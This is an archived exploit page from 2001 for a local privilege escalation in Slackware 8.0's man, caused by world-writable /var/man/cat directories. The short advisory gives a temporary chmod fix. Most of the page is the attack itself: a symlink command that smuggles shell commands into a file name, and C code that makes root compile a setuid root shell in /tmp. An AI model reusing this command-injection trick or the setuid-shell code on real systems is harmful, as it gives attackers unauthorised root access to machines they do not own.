what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

slackware.man.c

slackware.man.c
Posted Jul 18, 2001
Authored by Zen-Parse, Josh, Lockdown

Slackware 8.0 and below ships with /var/man/cat* chmodded 1777, making it vulnerable to symlink attacks. This exploit creates a suid shell with the UID of the user running man.

tags | exploit, shell
systems | linux, slackware
SHA-256 | 0fb25cf68a4fba71eceef2ca23db4efbe592af7e1416b2d13051e5e4b6990a46

slackware.man.c

Change Mirror Download
The following advisory was sent to slackware July 11th, 2001, they failed
to respond so I hope the temporary patch will make do:

Submitted by : Josh (josh@pulltheplug.com), lockdown (lockdown@lockeddown.net)
zen-parse (zen-parse@gmx.net)
Vulnerability : /usr/bin/man
Tested On : Slackware 8.0 and before.
Local : Yes
Remote : No
Temporary Fix : chmod 700 /var/man/cat*
Target : root or any other user that uses man
Greets to : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it,
slider, cryptix, s0ttle, xphantom, qtip, Sultrix, Defiance,
Insane, rusko, falcon-networks.com.
See also : http://www.securityfocus.com/vdb/?id=2815



Slackware 8.0 and previous issues of Slackware are released with
/var/man/cat*/ chmod 1777:

drwxrwxrwt 2 root root 4096 Jul 11 11:03 cat*/

Since these directories are world writeable we can create symlinks there
like so:

`ln -s "/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.
;script;man.7"
/var/man/cat7/man.7.gz`

When `/usr/bin/man man` is executed by root, it will create
/var/man/cat7/man.1.gz. The symlink forces it to create a file in
/usr/man/man7 named:
"/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;exportPATH=.;
script;man.7.gz."

/usr/bin/man will then execute /tmp/script which contains:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>

int main()
{
FILE *fil;
mode_t perm = 06711;

if(!getuid()) {
fil = fopen("/tmp/bleh.c","w");
fprintf(fil,"%s\n","#include <unistd.h>");
fprintf(fil,"%s\n","#include <stdio.h>");
fprintf(fil,"%s\n","int main() {");
fprintf(fil,"%s\n","setreuid(0,0);setregid(0,0);");
fprintf(fil,"%s\n","execl(\"/bin/su\",\"su\",NULL);");
fprintf(fil,"%s\n","return 0; }");
fclose(fil);
system("/usr/bin/gcc -o /tmp/bleh /tmp/bleh.c");
unlink("/tmp/bleh.c");
chmod("/tmp/bleh", perm);
}
execl("/usr/bin/man","man","/usr/man/man7/man.7.gz",NULL);
return 0;
}

With the above code compiled in /tmp/script, if root were to run `man man`, a
suid shell would be left in /tmp/bleh.
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close